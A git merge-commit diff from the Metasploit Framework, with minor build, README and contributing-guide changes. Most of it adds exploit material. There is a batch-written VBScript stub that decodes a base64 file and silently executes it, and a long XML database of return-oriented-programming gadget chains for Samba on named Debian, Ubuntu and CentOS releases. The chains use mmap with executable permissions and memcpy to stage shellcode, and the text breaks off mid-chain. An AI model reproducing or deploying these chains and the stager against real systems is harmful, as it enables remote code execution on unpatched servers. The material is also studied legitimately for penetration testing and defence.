Merge branch 'rapid7' into midnitesnake-postgres_payload

bug/bundler_fix
James Lee 2012-11-27 11:14:54 -06:00
commit 17d8d3692b
702 changed files with 20107 additions and 4093 deletions

2
.gitignore vendored
View File

@ -6,6 +6,8 @@
.yardoc
# Mac OS X files
.DS_Store
# simplecov coverage data
coverage
data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x64.dll
doc

8
.travis.yml Normal file
View File

@ -0,0 +1,8 @@
language: ruby
rvm:
- '1.8.7'
- '1.9.3'
notifications:
irc: "irc.freenode.org#msfnotify"

33
CONTRIBUTING.md Normal file
View File

@ -0,0 +1,33 @@
# Contributing to Metasploit
## Reporting Bugs
If you would like to report a bug, please take a look at [our Redmine
issue
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
If your bug is new and you'd like to report it you will need to
[register
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
## Contributing Metasploit Modules
If you have an exploit that you'd like to contribute to the Metasploit
Framework, please familiarize yourself with the
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
document in the
Metasploit-Framework repository. There are many mysteries revealed in
HACKING concerning code style and content.
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
should corellate with modules at a 1:1 ratio
-- there is rarely a good reason to have two, three, or ten modules on
one pull request, as this dramatically increases the review time
required to land (commit) any of those modules.
Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.

View File

@ -5,7 +5,7 @@ gem 'activesupport', '>= 3.0.0'
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git'
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
@ -24,4 +24,7 @@ end
group :test do
# testing framework
gem 'rspec'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
end

View File

@ -1,8 +1,9 @@
GIT
remote: git://github.com/rapid7/metasploit_data_models.git
revision: dd6c3a31c5ad8b55f4913b5ba20307178ba9c7bf
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
tag: 0.3.0
specs:
metasploit_data_models (0.0.2)
metasploit_data_models (0.3.0)
activerecord
activesupport
pg
@ -27,7 +28,7 @@ GEM
coderay (1.0.8)
diff-lcs (1.1.3)
i18n (0.6.1)
method_source (0.8)
method_source (0.8.1)
multi_json (1.3.6)
pg (0.14.1)
pry (0.9.10)
@ -44,6 +45,10 @@ GEM
rspec-expectations (2.11.3)
diff-lcs (~> 1.1.3)
rspec-mocks (2.11.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.3.3)
tzinfo (0.3.33)
yard (0.8.2.1)
@ -59,4 +64,5 @@ DEPENDENCIES
rake
redcarpet
rspec
simplecov (= 0.5.4)
yard

View File

@ -1,5 +1,5 @@
Metasploit
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
@ -40,10 +40,11 @@ reading some of the great tutorials online:
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on github which will
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request.
pull request. For slightly more info, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"

View File

@ -0,0 +1,41 @@
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
echo Set file = fs.GetFile("ENCODED") >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, vbCrLf, "") >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
echo shell.run "DECODED", 0, false >>decode_stub
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo "The file is empty." >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Binary file not shown.

Binary file not shown.

Binary file not shown.

436
data/ropdb/samba.xml Normal file
View File

@ -0,0 +1,436 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
</compatibility>
<!--
dpkg -l|grep libgcrypt
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
-->
<gadgets base="0">
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00071af4">mmap@got - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00009974">jmp eax</gadget>
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<!-- set ecx to same value than edx -->
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
</compatibility>
<!--
dpkg -l|grep libgcr
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
-->
<gadgets base="0">
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
<gadget offset="0x0006933f">pop eax; ret</gadget>
<gadget offset="0x000830a4">mmap@got - 4</gadget>
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00007d79">jmp eax</gadget>
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006933f">pop eax ; ret</gadget>
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
<gadget value ="0x00000000">junk for ebx</gadget>
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
<gadget value ="0x00000000">junk for edi</gadget>
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0006933f">pop eax; ret</gadget>
<gadget offset="0x00083024">memcpy@got - 4</gadget>
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x00004803">pop esi ; ret</gadget>
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
</compatibility>
<!--
dpkg -l|grep libgcr
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
4 first pops are after pop esp
-->
<gadgets base="0">
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x00072010">mmap@got - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00007f19">jmp eax</gadget>
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
</compatibility>
<!--
dpkg -l|grep libgcrypt
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
-->
<gadgets base="0">
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072010">mmap@got - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x0000922c">jmp eax</gadget>
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
<gadget offset="0x0006421f">pop eax ; ret</gadget>
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072094">memcpy@got - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<!-- set ecx to same value than edx -->
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>3.5.10-0.107.el5 on CentOS 5</target>
</compatibility>
<!--
yum list |grep libgcrypt
libgcrypt.i386 1.4.4-5.el5 installed
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
section is writable and executable, we'll copy the shellcode over there instead of using mmap
-->
<gadgets base="0">
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">junk for ebp **1**</gadget>
<gadget offset="0x0006200a">pushad ; ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
<gadget offset="0x00991ff0">mmap64@got</gadget>
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x008c8997">jmp eax</gadget>
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for esi</gadget>
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
<gadget offset="0x00991904">memcpy@got</gadget>
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0002ab2c">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x0000f445">pop eax; ret</gadget>
<gadget offset="0x008c1008">mmap64@got</gadget>
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x0009e8e4">jmp eax</gadget>
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x001f6142">pop edx ; ret</gadget>
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
